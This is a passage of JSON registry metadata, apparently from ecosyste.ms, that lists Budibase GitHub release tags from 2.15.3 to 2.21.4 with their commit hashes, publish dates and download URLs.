eb13cdd5b9d59c9a7c9e71d6d25f7e63","kind":"commit","published_at":"2024-03-07T13:14:32.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.4/manifests"},{"name":"2.21.3","sha":"bed813da77c2ef5c0eb7a4bdc290f21ae2fd4e4c","kind":"commit","published_at":"2024-03-05T18:29:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.3/manifests"},{"name":"2.21.2","sha":"bc8fdeea6af82e8537751f3c785dbebf6e580211","kind":"commit","published_at":"2024-03-05T09:04:26.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.2/manifests"},{"name":"2.21.1","sha":"de0cdd25d11d539a18b3aa34947281bdd4a4667c","kind":"commit","published_at":"2024-03-04T17:37:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.1/manifests"},{"name":"2.21.0","sha":"93abba1dbb08254710d2653de44dbba3c46b1fca","kind":"commit","published_at":"2024-03-01T12:13:07.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.21.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.21.0/manifests"},{"name":"2.20.14","sha":"e79e7c7cec603cfe6f7978de2bf6a5c0eb07002b","kind":"commit","published_at":"2024-02-29T18:11:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.14","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.14/manifests"},{"name":"2.20.13","sha":"8a109ffe6a4e1bf8064f609272918885dab8fb28","kind":"commit","published_at":"2024-02-29T09:38:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.13","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.13/manifests"},{"name":"2.20.12","sha":"2a8bb872adc87d01827eabe6de0535859c5fe6da","kind":"commit","published_at":"2024-02-27T12:49:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.12","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.12/manifests"},{"name":"2.20.11","sha":"b1dd8999cb9ff7d542277fe02d33586064abfdf1","kind":"commit","published_at":"2024-02-27T09:33:44.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.11","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.11/manifests"},{"name":"2.20.10","sha":"e71d8de6c2efe3a5d30a28c125938dd607bb9c19","kind":"commit","published_at":"2024-02-22T18:57:10.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.10","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.10/manifests"},{"name":"2.20.9","sha":"73c13a6a17a52d57680a40b4f36794a35846350e","kind":"commit","published_at":"2024-02-22T17:18:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.9","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.9/manifests"},{"name":"2.20.8","sha":"1096b8c7f0b32f2f0845e57a95c06adca7d0caac","kind":"commit","published_at":"2024-02-21T22:14:42.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.8/manifests"},{"name":"2.20.7","sha":"722b81cc90e58f94dcc2b2cd99d4f2dea975eb9f","kind":"commit","published_at":"2024-02-21T17:03:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.7/manifests"},{"name":"2.20.6","sha":"1bbf125a9381c768b66e82e308ab4b446054c73d","kind":"commit","published_at":"2024-02-21T15:35:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.6/manifests"},{"name":"2.20.5","sha":"033ab7110906144117990606063823506247c92d","kind":"commit","published_at":"2024-02-20T19:51:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.5/manifests"},{"name":"2.20.4","sha":"2145480572549d2fb1590e98e3da4521cf5649e4","kind":"commit","published_at":"2024-02-20T18:09:43.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.4/manifests"},{"name":"2.20.3","sha":"91d45024e2b675668f2692185d8aba6ec376243c","kind":"commit","published_at":"2024-02-20T12:50:11.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.3/manifests"},{"name":"2.20.2","sha":"568f1547bc1a5844be78740a8d9bf2fb3658fa0c","kind":"commit","published_at":"2024-02-20T11:47:56.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.2/manifests"},{"name":"2.20.1","sha":"904476de5ca1b34a59edb3f85237daad2b0757fd","kind":"commit","published_at":"2024-02-20T11:04:03.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.1/manifests"},{"name":"2.20.0","sha":"634bf5f8ba7851d58dd8781dc0b124b45bfcb48e","kind":"commit","published_at":"2024-02-19T20:26:23.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.20.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.20.0/manifests"},{"name":"2.19.6","sha":"b1966114ef77f2a351a982f38ac1e5abaea276af","kind":"commit","published_at":"2024-02-19T09:28:34.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.6/manifests"},{"name":"2.19.5","sha":"5a29bb7ebafce2ee734c3ba972a0372ef01017e1","kind":"commit","published_at":"2024-02-15T17:28:54.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.5/manifests"},{"name":"2.19.4","sha":"dea72b5818e19c22bee754d98d7af63670484252","kind":"commit","published_at":"2024-02-15T11:27:41.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.4/manifests"},{"name":"2.19.3","sha":"ee1c27100274ca2e3f36138c22bc8c0161c7e0a1","kind":"commit","published_at":"2024-02-14T11:06:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.3/manifests"},{"name":"2.19.2","sha":"573b3a13f8cdcdc92b64ddfd9a41cea1d67b2e47","kind":"commit","published_at":"2024-02-14T09:41:15.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.2/manifests"},{"name":"2.19.1","sha":"2fe6dbe8a5d2d9bdf8ed949a1dfcffe7b535f328","kind":"commit","published_at":"2024-02-12T16:31:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.1/manifests"},{"name":"2.19.0","sha":"7aa1176a36e93677eefe1a8088b199d852c8bbce","kind":"commit","published_at":"2024-02-09T16:37:51.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.19.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.19.0/manifests"},{"name":"2.18.2","sha":"bab97dc9e025ef52b5c9385ece68392d84da4dbf","kind":"commit","published_at":"2024-02-09T14:10:52.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.18.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.18.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.18.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.18.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.18.2/manifests"},{"name":"2.18.1","sha":"86350af7740a5eab0c19fbdc6892be6ab6759e6c","kind":"commit","published_at":"2024-02-09T12:31:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.18.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.18.1/manifests"},{"name":"2.18.0","sha":"34edf19965517039b10d34cb92ddbd84569e4e9e","kind":"commit","published_at":"2024-02-09T08:48:30.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.18.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.18.0/manifests"},{"name":"2.17.8","sha":"bf9fbf8849729318ff3042e0d68929d2d3ea257f","kind":"commit","published_at":"2024-02-08T09:43:29.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.8","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.8/manifests"},{"name":"2.17.7","sha":"2cb4e7de71696d68821c4193907abff2857ad38f","kind":"commit","published_at":"2024-02-06T16:08:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.7/manifests"},{"name":"2.17.6","sha":"bfc0cd305e1c140a52655c1fb2dcc8cebe87fe75","kind":"commit","published_at":"2024-02-06T09:47:50.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.6/manifests"},{"name":"2.17.5","sha":"d704f95bd4b96f419e5bc07e4bda3eb88008c3c7","kind":"commit","published_at":"2024-02-05T13:05:38.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.5/manifests"},{"name":"2.17.4","sha":"79f3486180988dc57cdf0231b06b6a52ee1bdb69","kind":"commit","published_at":"2024-02-05T10:14:18.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.4/manifests"},{"name":"2.17.3","sha":"3f3a38f73aea586250f3e802444d3c697d0b5fd1","kind":"commit","published_at":"2024-02-02T15:46:40.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.3/manifests"},{"name":"2.17.2","sha":"7c8c06af4ecfab73a58fdc94401413563d576e0a","kind":"commit","published_at":"2024-02-02T09:59:22.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.2/manifests"},{"name":"2.17.1","sha":"3e84ad924d6e40e78e3a16d76de3a5d74bba21af","kind":"commit","published_at":"2024-02-01T17:08:01.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.1/manifests"},{"name":"2.17.0","sha":"9ab726f9b298a1dd35b393fcd61559bea2656d50","kind":"commit","published_at":"2024-02-01T14:48:35.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.17.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.17.0/manifests"},{"name":"2.16.3","sha":"2c8254ba0fceed0257b4a7924bbc84d5a33d678f","kind":"commit","published_at":"2024-02-01T12:11:47.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.16.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.16.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.16.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.3/manifests"},{"name":"2.16.2","sha":"3c6246e03fed7f71f43f30db2eaa961c3636f69d","kind":"commit","published_at":"2024-01-31T15:16:08.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.16.2","html_url":"https://github.com/Budibase/budibase/releases/tag/2.16.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.16.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.2/manifests"},{"name":"2.16.1","sha":"c5fd92cd94eca5a237e887137a987b8d2fe33e82","kind":"commit","published_at":"2024-01-31T13:19:02.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.16.1","html_url":"https://github.com/Budibase/budibase/releases/tag/2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.1/manifests"},{"name":"2.16.0","sha":"9a9ac12ee5beac15939359e24a310d2d1770a49b","kind":"commit","published_at":"2024-01-30T10:48:36.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.16.0","html_url":"https://github.com/Budibase/budibase/releases/tag/2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.16.0/manifests"},{"name":"2.15.7","sha":"97af9b2ec069ef37623c08d182df74f45aab2f87","kind":"commit","published_at":"2024-01-26T10:26:57.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.7","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.7/manifests"},{"name":"2.15.6","sha":"94defe86483dbb018cdf39c47ab97725df446cf9","kind":"commit","published_at":"2024-01-25T13:54:25.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.6","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.6/manifests"},{"name":"2.15.5","sha":"89502accb255564bdffa93866d078c4249f27729","kind":"commit","published_at":"2024-01-23T10:11:37.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.5","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.5/manifests"},{"name":"2.15.4","sha":"6e86f3e27158e55168a063b6f8ef5bc89f298280","kind":"commit","published_at":"2024-01-22T15:32:13.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.4","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Budibase%2Fbudibase/tags/2.15.4/manifests"},{"name":"2.15.3","sha":"e2620af76c7982a9efb1fd202c172fff14d7c675","kind":"commit","published_at":"2024-01-22T11:46:55.000Z","download_url":"https://codeload.github.com/Budibase/budibase/tar.gz/2.15.3","html_url":"https://github.com/Budibase/budibase/releases/tag/2.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/Budibase/budibase@2.15